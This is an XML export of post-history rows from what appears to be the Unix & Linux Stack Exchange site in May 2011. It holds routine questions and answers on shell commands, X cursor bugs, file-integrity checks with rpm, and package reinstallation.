  <row Id="31103" PostHistoryTypeId="1" PostId="12665" RevisionGUID="5bf85bab-a954-447c-b064-d4f4a65e234a" CreationDate="2011-05-05T10:38:23.707" UserId="1900" Text="Lost mouse pointer in XServer" />
  <row Id="31104" PostHistoryTypeId="3" PostId="12665" RevisionGUID="5bf85bab-a954-447c-b064-d4f4a65e234a" CreationDate="2011-05-05T10:38:23.707" UserId="1900" Text="édebianàémouseàéxöserverà" />
  <row Id="31105" PostHistoryTypeId="2" PostId="12666" RevisionGUID="5b67b161-77eb-476a-ad88-3808e99932c0" CreationDate="2011-05-05T10:42:26.990" UserId="4843" Text="I prefer to use the &#xD;&#xA;&lt;a href=http://www.chiark.greenend.org.uk/~sgtatham/agedu/&gt; &lt;/a&gt;[agedu][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.chiark.greenend.org.uk/~sgtatham/agedu/" />
  <row Id="31106" PostHistoryTypeId="2" PostId="12667" RevisionGUID="9ace4b4c-43fa-4eb8-8534-edbcc2f36e4b" CreationDate="2011-05-05T10:42:30.690" UserId="7228" Text="In my experience is the battery life the same (or better).&#xD;&#xA;&#xD;&#xA;I got before:&#xD;&#xA;&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;      present rate:            10142 mW&#xD;&#xA;&#xD;&#xA;now I get:&#xD;&#xA;&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;      present rate:            10219 mW&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;      present rate:            9669 mW&#xD;&#xA;    $ grep rate /proc/acpi/battery/BAT0/state&#xD;&#xA;      present rate:            9669 mW&#xD;&#xA;&#xD;&#xA;So. that is quite the same. I'm using Arch Linux as well,&#xD;&#xA;with and ASUS U31 with the Nvidia card disabled&#xD;&#xA;with acpi_call so I'm only using the integrated intel card     &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31107" PostHistoryTypeId="2" PostId="12668" RevisionGUID="67a5aa45-a6af-4e2f-bdc0-591ad3e2a198" CreationDate="2011-05-05T10:44:11.500" UserId="6167" Text="Try the printf command:&#xD;&#xA;&#xD;&#xA;    $ printf &quot;%e\n&quot; 2923174917395723957&#xD;&#xA;    2.923175e+18" />
  <row Id="31108" PostHistoryTypeId="5" PostId="12668" RevisionGUID="5f16303a-b29f-473a-b985-f327450bc4bd" CreationDate="2011-05-05T10:49:34.180" UserId="6167" Comment="Added much more detail" Text="Try the printf command:&#xD;&#xA;&#xD;&#xA;    $ printf &quot;%e\n&quot; 2923174917395723957&#xD;&#xA;    2.923175e+18&#xD;&#xA;&#xD;&#xA;In your locale, it should use , instead of ., of course.  You can also control the format more precisely such as:&#xD;&#xA;&#xD;&#xA;    $ printf &quot;%.3e\n&quot; 2923174917395723957&#xD;&#xA;    2.923e+18&#xD;&#xA;&#xD;&#xA;Some shells like bash have a built-in called printf which may be different from any printf command that comes with the system, but, in general, you shouldn't notice any difference with simple commands like above.  You can also use printf from Perl which will be pretty consistent.&#xD;&#xA;&#xD;&#xA;    $ perl -e 'printf &quot;%.3e\n&quot;, 2923174917395723957'&#xD;&#xA;    2.923e+18" />
  <row Id="31109" PostHistoryTypeId="2" PostId="12669" RevisionGUID="bac4e42e-a1d7-4a65-8be6-f712eb3fd371" CreationDate="2011-05-05T10:58:45.327" UserId="6167" Text="If you really want a clean, consistent build system, you might be better of with filesystem snapshots such as what LVM offers.  You can install a system with file systems like /usr on LVM.  Then you can create a snapshot of any file systems you want to restore to their original state via the `lvsnapshot` command.  You can mount these snapshots as writeable in place of their normal mounts.  When you want to revert to the earlier state, just umount, delete, and re-create the snapshots, and mount the new snapshots again.  If you want to keep /home or other file systems at their current state, you can put them on LVM, but not create a snapshot for them.&#xD;&#xA;&#xD;&#xA;Another approach I use when testing software deployments or custom installation disks is to use a virtual machine like VirtualBox or VMware workstation.  These can take whole disk snapshots an restore them on request.  It also has benefits like pausing the machine while the host reboots.  Once the virtual machine is started, it resumes from the state it was when paused.  VirtualBox, in particular, can take multiple disk snapshots any revert to any former snapshot while still retaining them.  You could go between two or more lines of snapshots if needed." />
  <row Id="31110" PostHistoryTypeId="5" PostId="12527" RevisionGUID="6f9212ba-b19c-4b5b-8fc1-5f3574b81fe9" CreationDate="2011-05-05T11:04:11.140" UserId="252" Comment="deleted 2 characters in body" Text="Why not use vim?&#xD;&#xA;&#xD;&#xA;Open all files in vim&#xD;&#xA;&#xD;&#xA;    vim $(find . -type f)&#xD;&#xA;&#xD;&#xA;Or open only relevant files (as suggested by Caleb)&#xD;&#xA;&#xD;&#xA;    vim $(grep 'from' . -Rl)&#xD;&#xA;&#xD;&#xA;And do then run the replace in all buffers&#xD;&#xA;&#xD;&#xA;    :bufdo %s/from/to/gc | update&#xD;&#xA;&#xD;&#xA;You can also do it with `sed`, but my sed knowledge is limited." />
  <row Id="31111" PostHistoryTypeId="2" PostId="12670" RevisionGUID="582275e8-1496-46b4-81c7-3123cc7b70e6" CreationDate="2011-05-05T11:06:35.867" UserId="6167" Text="Try running this command in a terminal:&#xD;&#xA;&#xD;&#xA;    xsetroot -cursor_name X_cursor&#xD;&#xA;&#xD;&#xA;It should set the default cursor to an X.  You should have a list of possible cursors under `/usr/share/icons/whiteglass/cursors`.  If that doesn't exist, try `ls -ld /usr/share/icons/*/cursors`  One of my favorite cursors is trek.&#xD;&#xA;&#xD;&#xA;    xsetroot -cursor_name trek" />
  <row Id="31112" PostHistoryTypeId="5" PostId="12662" RevisionGUID="b1fa668e-b0d7-41fb-a2c1-db1e4987097d" CreationDate="2011-05-05T11:17:11.133" UserId="3645" Comment="Clarification" Text="If you want to keep for example a build or server system clean, it is very useful to be able to **check that all files are present and accounted for** by the package metadata. At work we have a very nice tool which, if run without any parameters, simply creates a file with `rm`/`rmdir` statements for any and all files/directories not mentioned by any package (excluding some trees like `/home`). This is *different* from [`rpm -V`][1] and [`debsums`][2], which only check the files already mentioned by a package.&#xD;&#xA;&#xD;&#xA;Is there a tool like this for DEB/RPM/Ports/other packaging systems? DEB would be the best, but porting from another system (or our own, if nothing else exists) would probably be feasible.&#xD;&#xA;&#xD;&#xA;PS: I am *not* looking for alternative architectures. The issue here is to have absolutely every file on the system accounted for. VMs and such are not applicable.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rpm.org/max-rpm/ch-rpm-verify.html&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/hardy/man1/debsums.1.html" />
  <row Id="31113" PostHistoryTypeId="6" PostId="12662" RevisionGUID="b1fa668e-b0d7-41fb-a2c1-db1e4987097d" CreationDate="2011-05-05T11:17:11.133" UserId="3645" Comment="Clarification" Text="ésecurityàéverificationàéchecksumàéfilesà" />
  <row Id="31114" PostHistoryTypeId="5" PostId="12659" RevisionGUID="e83ecfc9-6857-4ae6-ba09-a759d58bbe50" CreationDate="2011-05-05T11:50:44.800" UserId="6958" Comment="+ ls -l *" Text="I have a couple of files in a directory:&#xD;&#xA;&#xD;&#xA;    $ ls | wc -l&#xD;&#xA;    9376&#xD;&#xA;&#xD;&#xA;Can anybody explain why there is such a huge time difference in using `ls *` and `ls`?&#xD;&#xA;&#xD;&#xA;    $ time ls &gt; /dev/null&#xD;&#xA;    real    0m0.118s&#xD;&#xA;    user    0m0.106s&#xD;&#xA;    sys     0m0.011s&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    $ time ls * &gt; /dev/null&#xD;&#xA;    real    1m32.602s&#xD;&#xA;    user    0m0.233s&#xD;&#xA;    sys     0m0.438s&#xD;&#xA;&#xD;&#xA;okay, this is a drastic example and maybe enhanced because the directory is on a general parallel file system (GPFS). But I can also see a significant slowdown on a local file system. &#xD;&#xA;&#xD;&#xA;**EDIT:** &#xD;&#xA;&#xD;&#xA;    $ time ls -l &gt; /dev/null&#xD;&#xA;    real    0m58.772s&#xD;&#xA;    user    0m0.113s&#xD;&#xA;    sys     0m0.452s&#xD;&#xA;    $ time ls -l * &gt; /dev/null&#xD;&#xA;    real    1m19.538s&#xD;&#xA;    user    0m0.252s&#xD;&#xA;    sys     0m0.461s&#xD;&#xA;&#xD;&#xA;and I should add that in my example there are no sub directories:&#xD;&#xA;&#xD;&#xA;    $ diff &lt;(ls) &lt;(ls *)&#xD;&#xA;    $" />
  <row Id="31115" PostHistoryTypeId="5" PostId="12660" RevisionGUID="4a564814-cf81-4da4-abb4-04b24e73520a" CreationDate="2011-05-05T12:04:53.727" UserId="1078" Comment="added 713 characters in body" Text="When you run `ls` without arguments, it will just open a directory, read all the contents, sort them and print them out.&#xD;&#xA;&#xD;&#xA;When you run `ls *`, first the shell expands `*`, which is effectively the same as what the simple `ls` did, builds an argument vector with all the files in the current directory and calls `ls`. `ls` then has to process that argument vector and for each argument, and calls `access(2)`¹ the file to check it's existence. Then it will print out the same output as the first (simple) `ls`. Both the shell's processing of the large argument vector and `ls`'s will likely involve a lot of memory allocation of small blocks, which can take some time. However, since there was little `sys` and `user` time, but a lot of `real` time, most of the time would have been spent waiting for disk, rather than using CPU doing memory allocation.&#xD;&#xA;&#xD;&#xA;Each call to `access(2)` will need to read the file's inode to get the permission information. That means a lot more disk reads and seeks than simply reading a directory. I do not know how expensive these operations are on your GPFS, but as the comparison you've shown to `ls -l` which has a similar run time to the wildcard case, the time needed to retrieve the inode information appears to dominate. If GPFS has a slightly higher latency than your local filesystem on each read operation, we would expect it to be more pronounced in these cases.&#xD;&#xA;&#xD;&#xA;The difference between the wildcard case and `ls -l` of 50% could be explained by the ordering of inodes on the disk. If the inodes were laid out successively in the same order as the filenames in the directory and `ls -l` stat(2)ed the files in directory order before sorting, `ls -l` would possibly read most of the inodes in a sweep. With the wildcard, the shell will sort the filenames before passing them to `ls`, so `ls` will likely read the inodes in a different order, adding more disk head movement.&#xD;&#xA;&#xD;&#xA;It should be noted that your `time` output will not include the time taken by the shell to expand the wildcard.&#xD;&#xA;&#xD;&#xA;¹ I don't know if `access(2)` is actually used, or something else such as `stat(2)`. But both probably require an inode lookup (I'm not sure if `access(file, 0)` would bypass an inode lookup.)" />
  <row Id="31116" PostHistoryTypeId="25" PostId="12665" RevisionGUID="afb75cdc-d220-45dc-9c7b-75b45f721140" CreationDate="2011-05-05T12:11:26.817" Comment="http://twitter.com/#!/StackUnix/status/66112767668658176" />
  <row Id="31117" PostHistoryTypeId="5" PostId="12660" RevisionGUID="8a62f21e-53e8-41fb-8401-062bb387677e" CreationDate="2011-05-05T12:13:50.317" UserId="1078" Comment="added 220 characters in body" Text="When you run `ls` without arguments, it will just open a directory, read all the contents, sort them and print them out.&#xD;&#xA;&#xD;&#xA;When you run `ls *`, first the shell expands `*`, which is effectively the same as what the simple `ls` did, builds an argument vector with all the files in the current directory and calls `ls`. `ls` then has to process that argument vector and for each argument, and calls `access(2)`¹ the file to check it's existence. Then it will print out the same output as the first (simple) `ls`. Both the shell's processing of the large argument vector and `ls`'s will likely involve a lot of memory allocation of small blocks, which can take some time. However, since there was little `sys` and `user` time, but a lot of `real` time, most of the time would have been spent waiting for disk, rather than using CPU doing memory allocation.&#xD;&#xA;&#xD;&#xA;Each call to `access(2)` will need to read the file's inode to get the permission information. That means a lot more disk reads and seeks than simply reading a directory. I do not know how expensive these operations are on your GPFS, but as the comparison you've shown to `ls -l` which has a similar run time to the wildcard case, the time needed to retrieve the inode information appears to dominate. If GPFS has a slightly higher latency than your local filesystem on each read operation, we would expect it to be more pronounced in these cases.&#xD;&#xA;&#xD;&#xA;The difference between the wildcard case and `ls -l` of 50% could be explained by the ordering of inodes on the disk. If the inodes were laid out successively in the same order as the filenames in the directory and `ls -l` stat(2)ed the files in directory order before sorting, `ls -l` would possibly read most of the inodes in a sweep. With the wildcard, the shell will sort the filenames before passing them to `ls`, so `ls` will likely read the inodes in a different order, adding more disk head movement.&#xD;&#xA;&#xD;&#xA;It should be noted that your `time` output will not include the time taken by the shell to expand the wildcard.&#xD;&#xA;&#xD;&#xA;If you really want to see what's going on, use `strace(1)`:&#xD;&#xA;&#xD;&#xA;    strace -o /tmp/ls-star.trace ls *&#xD;&#xA;    strace -o /tmp/ls-l-star.trace ls -l *&#xD;&#xA;&#xD;&#xA;and have a look which system calls are being performed in each case.&#xD;&#xA;&#xD;&#xA;¹ I don't know if `access(2)` is actually used, or something else such as `stat(2)`. But both probably require an inode lookup (I'm not sure if `access(file, 0)` would bypass an inode lookup.)" />
  <row Id="31118" PostHistoryTypeId="5" PostId="168" RevisionGUID="3b12ae0a-b207-4a43-a648-fb75fbfac921" CreationDate="2011-05-05T12:38:37.127" UserId="6958" Comment="fixed '}' outside loop, which would result in copy and paste errors. Then some improvments to capitalization, such that I reach the 6 char changes  limit" Text="This is usually in my startup script (.bashrc, .profile, whatever)&#xD;&#xA;&#xD;&#xA;`shopt` goodness, check the comments:&#xD;&#xA;   &#xD;&#xA;    shopt -s cdspell		# try to correct typos in path&#xD;&#xA;    shopt -s dotglob		# include dotfiles in path expansion&#xD;&#xA;    shopt -s hostcomplete   # try to autocomplete hostnames&#xD;&#xA;&#xD;&#xA;An alias that save keystrokes:&#xD;&#xA;   `mkdir` and `cd` into it:&#xD;&#xA;   &#xD;&#xA;    mkcd () { mkdir -p &quot;$@&quot; &amp;&amp; cd &quot;$@&quot;; }&#xD;&#xA;&#xD;&#xA;And last but not least, I've given up on memorizing tar syntax, so:&#xD;&#xA;&#xD;&#xA;    extract () {&#xD;&#xA;    	if [ -f $1 ] ; then&#xD;&#xA;    		case $1 in&#xD;&#xA;    			*.tar.bz2)	tar xjf $1		;;&#xD;&#xA;    			*.tar.gz)	tar xzf $1		;;&#xD;&#xA;    			*.bz2)		bunzip2 $1		;;&#xD;&#xA;    			*.rar)		rar x $1		;;&#xD;&#xA;    			*.gz)		gunzip $1		;;&#xD;&#xA;    			*.tar)		tar xf $1		;;&#xD;&#xA;    			*.tbz2)		tar xjf $1		;;&#xD;&#xA;    			*.tgz)		tar xzf $1		;;&#xD;&#xA;    			*.zip)		unzip $1		;;&#xD;&#xA;    			*.Z)		uncompress $1	;;&#xD;&#xA;    			*)			echo &quot;'$1' cannot be extracted via extract()&quot; ;;&#xD;&#xA;    		esac&#xD;&#xA;    	else&#xD;&#xA;    		echo &quot;'$1' is not a valid file&quot;&#xD;&#xA;    	fi&#xD;&#xA;    }" />
  <row Id="31119" PostHistoryTypeId="24" PostId="168" RevisionGUID="3b12ae0a-b207-4a43-a648-fb75fbfac921" CreationDate="2011-05-05T12:38:37.127" Comment="Proposed by 6958 approved by 885 edit id of 355" />
  <row Id="31120" PostHistoryTypeId="2" PostId="12671" RevisionGUID="cc0a2158-d9b5-4bba-adf4-07e1d265e115" CreationDate="2011-05-05T12:40:21.527" UserId="195" Text="`rpm -qa --filesbypkg | awk '{print $2}'` will list all the files on the system that have been accounted for.  &#xD;&#xA;`find / | grep -vf /tmp/files-on-system.txt` will find all files on the system that are not in the RPM database. &lt;b&gt;NOTE: This includes files in directories like `/dev`, `/home`, `/proc`, and `/tmp`.&lt;/b&gt;" />
  <row Id="31121" PostHistoryTypeId="5" PostId="928" RevisionGUID="f1943a85-ec62-4f26-8d8f-8c70e5eec26a" CreationDate="2011-05-05T12:40:22.120" UserId="6958" Comment="added scr() function" Text="The `screen` [command][1]. It basically saves your command line session for when you come back. It's sort of a terminal manager, like a window manager. That way, in a single terminal session, you can have multiple virtual terminals going on. It's very cool. &#xD;&#xA;&#xD;&#xA;If one uses `screen`, this shell function (put it into `.bashrc`) is extremely useful:&#xD;&#xA;&#xD;&#xA;    function scr {&#xD;&#xA;        if screen -ls | grep -q Main; then&#xD;&#xA;             # reattach to Main: &#xD;&#xA;             screen -xr Main&#xD;&#xA;        else&#xD;&#xA;             # name session &quot;Main&quot;:&#xD;&#xA;             screen -S Main&#xD;&#xA;        fi&#xD;&#xA;       }&#xD;&#xA;&#xD;&#xA;upon typing `scr`, it will check if your main session exists and will attach to it. Otherwise it will create it. &#xD;&#xA;&#xD;&#xA;  [1]: /http://www.rackaid.com/resources/linux-screen-tutorial-and-how-to/&#xD;&#xA;" />
  <row Id="31122" PostHistoryTypeId="24" PostId="928" RevisionGUID="f1943a85-ec62-4f26-8d8f-8c70e5eec26a" CreationDate="2011-05-05T12:40:22.120" Comment="Proposed by 6958 approved by 885 edit id of 354" />
  <row Id="31123" PostHistoryTypeId="5" PostId="12671" RevisionGUID="df499e83-3ce4-4f66-8961-f00cbf66e0b5" CreationDate="2011-05-05T12:56:46.473" UserId="195" Comment="add rpm -V stuff, rpm -f" Text="If what you want is a file integrity checker, then RPM will do what you want. `rpm -qaV`(note the uppercase V). That will go through and check:&#xD;&#xA;&#xD;&#xA; * file size&#xD;&#xA; * mode(permission and file type)&#xD;&#xA; * MD5 checksum&#xD;&#xA; * device number(checks if someone's hiding a file by mounting another partition there&#xD;&#xA; * readlink path(if the symlink points to a different file)&#xD;&#xA; * user ownership&#xD;&#xA; * group ownership&#xD;&#xA; * modification time&#xD;&#xA;&#xD;&#xA;That should be a fairly comprehensive list.&#xD;&#xA;&#xD;&#xA;`rpm -qa --filesbypkg | awk '{print $2}'` will list all the files on the system that have been accounted for.  &#xD;&#xA;`find / | grep -vf /tmp/files-on-system.txt` will find all files on the system that are not in the RPM database. Another way of accomplishing these two commands in one command would be `rpm -qf 'find /'#replace single quote with backtick` &lt;b&gt;NOTE: This will also flag as erroneous files in directories like&#xD;&#xA;&#xD;&#xA; * `/dev`&#xD;&#xA; * `/home`&#xD;&#xA; * `/proc`&#xD;&#xA; * `/var/run`&#xD;&#xA; * `/var/log`&#xD;&#xA; * `/var/lib`&#xD;&#xA; * `/tmp`&lt;/b&gt;" />
  <row Id="31124" PostHistoryTypeId="2" PostId="12672" RevisionGUID="56c1c2ce-881e-4d0d-938a-c424deff9012" CreationDate="2011-05-05T13:14:07.300" UserId="1027" Text="You could run this process under separate account and block traffic by UID, see &#xD;&#xA;[ipfw man page][1] for `uid` option.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=ipfw&amp;sektion=8" />
  <row Id="31128" PostHistoryTypeId="2" PostId="12675" RevisionGUID="e548bcf6-eeef-4065-b98d-a11a9af6a829" CreationDate="2011-05-05T13:23:16.653" UserId="2974" Text="You might be interested in [JWZ's kiosk hack](http://www.dnalounge.com/backstage/src/kiosk/) - at the very least, it's an interesting read." />
  <row Id="31129" PostHistoryTypeId="2" PostId="12676" RevisionGUID="6b72cf67-174c-436a-bb28-e8e361273eac" CreationDate="2011-05-05T13:46:39.550" UserId="434" Text="I have a cronjob set up to run updatedb every 10 mins.  Keeps all the filesystem buffers nice and fresh.  Might as well use that cheap RAM for something good.  Use slabtop see 'before' and 'after'. " />
  <row Id="31132" PostHistoryTypeId="2" PostId="12677" RevisionGUID="dbc339e1-405d-4c63-8149-7bd2c619622a" CreationDate="2011-05-05T13:52:39.403" UserId="7234" Text="Backups of anything and everything should be standard practice. Also, for the web developers, they should be developing in some sort of version control (CVS, SVN, Git, etc.) on a *different* machine than the production web server, then checking it out on the server.&#xD;&#xA;&#xD;&#xA;Unfortunately, all hope is probably lost by now. If anything like this happens in the future, and there are no backups, subversion, etc. pretty much your only option is to *as quickly as possible* unmount the drive. Then, you may have a chance of recovering the data before it's overwritten with anything else.&#xD;&#xA;&#xD;&#xA;As a last-ditch, KISS effort... perhaps whoever was working on the site SCP'ed it over from their workstation and still has the files locally?" />
  <row Id="31133" PostHistoryTypeId="2" PostId="12678" RevisionGUID="b7ab008e-9326-4615-8cc3-9b1b4952f9be" CreationDate="2011-05-05T14:50:51.460" UserId="885" Text="You seem to be affected by a bug in the `i915` driver on the 852GM chip family. There are patches available, but it seems that they may cause other bugs on some chips. A workaround that works for some people is to suspend and resume.&#xD;&#xA;&#xD;&#xA;* [Freedesktop bug #29413: \[855GM bisected\] Mouse cursor invisible since kernel 2.6.35](https://bugs.freedesktop.org/show_bug.cgi?id=29413)&#xD;&#xA;* [Debian bug #619019: xserver-xorg-video-intel: latest update to debian squeeze made the mouse pointer invisible in my openbox/gdm session](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=619019)&#xD;&#xA;* [Ubuntu bug #642283: \[852gm\] invisible mouse cursor](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/642283)&#xD;&#xA;" />
  <row Id="31134" PostHistoryTypeId="2" PostId="12679" RevisionGUID="93a5f4a1-c518-4c48-b266-fbbc78fef090" CreationDate="2011-05-05T15:02:10.047" UserId="7234" Text="It's a fairly common configuration for a university to block outgoing DNS. They probably run caching recursive servers, and there's no need to fill up their outgoing bandwidth with DNS requests that should be cached locally. &#xD;&#xA;&#xD;&#xA;Have you tried calling their help desk about this issue??" />
  <row Id="31135" PostHistoryTypeId="2" PostId="12680" RevisionGUID="48c38db0-dc21-4478-bb96-99820f3f756b" CreationDate="2011-05-05T15:06:51.463" UserId="7234" Text="The rsyslog documentation is, unfortunately, not terribly complete or easy to understand in some areas. I've spent a good part of the past few weeks working on rsyslog/MySQL/regex stuff.&#xD;&#xA;&#xD;&#xA;Can you post a sample of the log line you're trying to regex match, the schema of the table you want it to go into, etc.? The stuff that you posted seems like it should work... what are you trying to filter out? And is the default schema usable for you?&#xD;&#xA;&#xD;&#xA;On a side note, I couldn't help but notice that you're using a table called RogueAPs. I don't know what vendor you're using, but I have regex rules for authentication log messages from Meru Networks and BlueSocket controllers." />
  <row Id="31136" PostHistoryTypeId="25" PostId="12663" RevisionGUID="f0550ff5-ee39-4999-958a-dfe39706e79c" CreationDate="2011-05-05T15:11:27.043" Comment="http://twitter.com/#!/StackUnix/status/66158067573719040" />
  <row Id="31137" PostHistoryTypeId="2" PostId="12681" RevisionGUID="a104fa9f-d4f2-4c72-b755-d7a1f01d55f5" CreationDate="2011-05-05T15:32:33.790" UserId="732" Text="First, how do you know it's not installed?  That sounds frivolous, but it *is* a root kit, and it's job is to hide installed things.  Believing that you have a rootkit installed on a system makes everything that system tells you suspect.&#xD;&#xA;&#xD;&#xA;This page: [http://www.aggro.it/files/papers/ncom.html][1] hints a bit about how it's installed.  Looks like you might be able to use the shared-object file on individual executables by exporting LD_PRELOAD set to the ncom .so file name.&#xD;&#xA;&#xD;&#xA;It also looks like the file /etc/ld.so.preload might be a way to get it dynmically linked in every executable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.aggro.it/files/papers/ncom.html" />
  <row Id="31138" PostHistoryTypeId="2" PostId="12682" RevisionGUID="9fd4f14c-4f09-4843-b9ce-4286f5c68937" CreationDate="2011-05-05T15:54:31.547" UserId="3389" Text="Here's two good challenges:&#xD;&#xA;&#xD;&#xA;- Install `samba` and either `swat` or webmin to configure it.  You'll hear from a lot of people that `swat` and webmin can be insecure, learn why and learn how to make it not insecure.  Experimentation with using a Linux box as a file server is very useful and this will teach you a little bit of what is needed to get Windows and Linux to play nice together.&#xD;&#xA;&#xD;&#xA;- Select a &quot;third-party&quot; web application, install it, and get it working.  I'd say install Wordpress and experiment with running your own blog.  Ajaxplorer is a nice application that is very useful as well.  You will learn about apache, mySQL php, and how web application installs work and how all those components work together.  After all that you will come out with a lot of knowledge.&#xD;&#xA;&#xD;&#xA;An easier challenge:&#xD;&#xA;&#xD;&#xA;- Install and run an FTP server.  Then find out why FTP sucks and learn about SCP, and configure `sshd` to enable you to do secure file transfers." />
  <row Id="31139" PostHistoryTypeId="16" PostId="12682" RevisionGUID="a5c6d670-72cd-4730-8b38-7f952ba5904f" CreationDate="2011-05-05T15:54:31.547" UserId="3389" />
  <row Id="31140" PostHistoryTypeId="2" PostId="12683" RevisionGUID="c25aa635-db6e-43df-be51-2fa46cd8106d" CreationDate="2011-05-05T16:05:32.797" UserId="7240" Text="Try adding `video=SVIDEO-1:d` OR `i915.modeset=0`&#xD;&#xA;It might help if you have integrated Intel video." />
  <row Id="31141" PostHistoryTypeId="25" PostId="12649" RevisionGUID="77b5bb9c-4242-401b-b4f4-91dab97fcd6f" CreationDate="2011-05-05T18:11:27.617" Comment="http://twitter.com/#!/StackUnix/status/66203369022300160" />
  <row Id="31142" PostHistoryTypeId="2" PostId="12684" RevisionGUID="c6e02a30-5680-4fd7-bbab-45da24ae31af" CreationDate="2011-05-05T18:24:10.603" UserId="7183" Text="I decided that I want to learn more about Linux and try building LFS. I'm using Ubuntu 11.04 as host system and Ubuntu uses dash and mawk by default. I've changed mawk to gawk, but considering that mawk is much faster than gawk I'm thinking that I might want to use mawk anyway.&#xD;&#xA;&#xD;&#xA;Since making bash the default shell will have a negative effect on the system's performance, especially boot times I'm hesitant to make the change.&#xD;&#xA;&#xD;&#xA;In the LFS book you can read the following:&#xD;&#xA;&#xD;&#xA;&gt;Symlinks that point to other software (such as dash, mawk, etc.) may work, but are not tested or supported by the LFS development team, and may require either deviation from the instructions or additional patches to some packages.&#xD;&#xA;&#xD;&#xA;So I'm basically on my own if something fails, but it might work. So I was hoping that someone with more experience could tell me if it will work and if not what would be required to make it work?" />
  <row Id="31143" PostHistoryTypeId="1" PostId="12684" RevisionGUID="c6e02a30-5680-4fd7-bbab-45da24ae31af" CreationDate="2011-05-05T18:24:10.603" UserId="7183" Text="Will I be able to build LFS using dash and mawk?" />
  <row Id="31144" PostHistoryTypeId="3" PostId="12684" RevisionGUID="c6e02a30-5680-4fd7-bbab-45da24ae31af" CreationDate="2011-05-05T18:24:10.603" UserId="7183" Text="élinuxàédashà" />
  <row Id="31145" PostHistoryTypeId="2" PostId="12685" RevisionGUID="b68603d8-aa94-4a3b-8d57-e34d6e8da760" CreationDate="2011-05-05T18:53:57.593" UserId="6761" Text="Apparently, with this model, the parport_pc module causes udev to hang[1]. You might have to blacklist this module to successfully install Arch.&#xD;&#xA;&#xD;&#xA;Adding &lt;code&gt;disablemodules=parport_pc&lt;/code&gt; to your kernel line[2] should allow udev to proceed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1] http://www.mail-archive.com/arch-general@archlinux.org/msg11658.html&#xD;&#xA;&#xD;&#xA;[2] When the iso boots and you see the grub menu, press &lt;kbd&gt;e&lt;/kbd&gt; to edit, then add that string to the end of the kernel line. Press &lt;kbd&gt;Enter&lt;/kbd&gt; then &lt;kbd&gt;b&lt;/kbd&gt; to boot." />
  <row Id="31146" PostHistoryTypeId="5" PostId="12598" RevisionGUID="2f101181-cd24-4ce5-8d8f-7415ed281540" CreationDate="2011-05-05T19:33:04.460" UserId="1925" Comment="added 856 characters in body" Text="Try using `apt-get install --reinstall apache2` to force the apt-get system to install again even though the package exists and overwrite current files — even the ones it thinks are already there.&#xD;&#xA;&#xD;&#xA;By manually deleting things from the system you undoubtedly have the package manager confused about what needs doing where. You usually want to stick to using the tools provided unless you understand what you are effecting by manually fiddling.&#xD;&#xA;&#xD;&#xA;As an extra note, you don't usually need to mess with the files in /etc/init.d yourself. There is a tool that takes care of running those scripts for you. For example to restart apache you could run `service apache2 restart`.&#xD;&#xA;&#xD;&#xA;**Edited based on information found in comments**&#xD;&#xA;&#xD;&#xA;The init script is part of a sub-package. Installing a package for the first time will install it's dependencies, but uninstalling it will just uninstall the package, not it's dependencies. The init script that you manually removed belongs to the `apache2.2-common` package with was a dependency of the main `apache2` package name. Removing apache2 even with `--purge` would have no effect on the init script because it's part of a different package. To get it back run `apt-get install --reinstall apache2.2-common`.&#xD;&#xA;&#xD;&#xA;**Edit2**&#xD;&#xA;&#xD;&#xA;Apparently Debian is wacky. I replicated the problem on a test system and was unable to get the init script back with the package manager. I found several other people with the same problem out on the web, and it looks like the solution is to manually download the package, extract it, and rip the file out like this:&#xD;&#xA;&#xD;&#xA;    cd /tmp&#xD;&#xA;    aptitude download apache2.2-common&#xD;&#xA;    dpkg --extract apache2.2-common_*.deb apache2.2-common&#xD;&#xA;    sudo cp apache2.2-common/etc/init.d/apache2 /etc/init.d&#xD;&#xA;&#xD;&#xA;**Edit3**&#xD;&#xA;&#xD;&#xA;So thanks to Faheem Mitha in the comments below who actually tracked down a way to do this with apt-get. The short version is that init scripts are considered conf files, and apt-get is too polite to touch conf files that have been user-modified in any way, even to restore deleted on reinstall after a uninstall. Before you say &quot;duh of course&quot;, check out the gymnastics you have to do. I quote:&#xD;&#xA;&#xD;&#xA;&gt; After asking the dpkg list (and being told off for it) + further fiddling, the following works. Be careful with this. It will replace all your modified config files with the version from the package. `apt-get -o Dpkg::Options::=&quot;--force-confnew&quot; -o Dpkg::Options::=&quot;--force-confask&quot; install --reinstall apache2.2-common`. I don't know why you needed me to tell you this. It's the first thing you should have thought of. :-) – Faheem Mitha" />
  <row Id="31147" PostHistoryTypeId="2" PostId="12686" RevisionGUID="e5d99e30-15a9-4c66-83e8-4a07c868da70" CreationDate="2011-05-05T20:27:52.097" UserId="7251" Text="I want to unzip the contents of a zipfile called mine.zip into /yours/ but when I do it using the -d flag it keeps going into /your/crap/ etc which is not I want &#xD;&#xA;&#xD;&#xA;Is there a way to do this?" />
  <row Id="31148" PostHistoryTypeId="1" PostId="12686" RevisionGUID="e5d99e30-15a9-4c66-83e8-4a07c868da70" CreationDate="2011-05-05T20:27:52.097" UserId="7251" Text="unzip to a specific folder" />
  <row Id="31149" PostHistoryTypeId="3" PostId="12686" RevisionGUID="e5d99e30-15a9-4c66-83e8-4a07c868da70" CreationDate="2011-05-05T20:27:52.097" UserId="7251" Text="ézipà" />
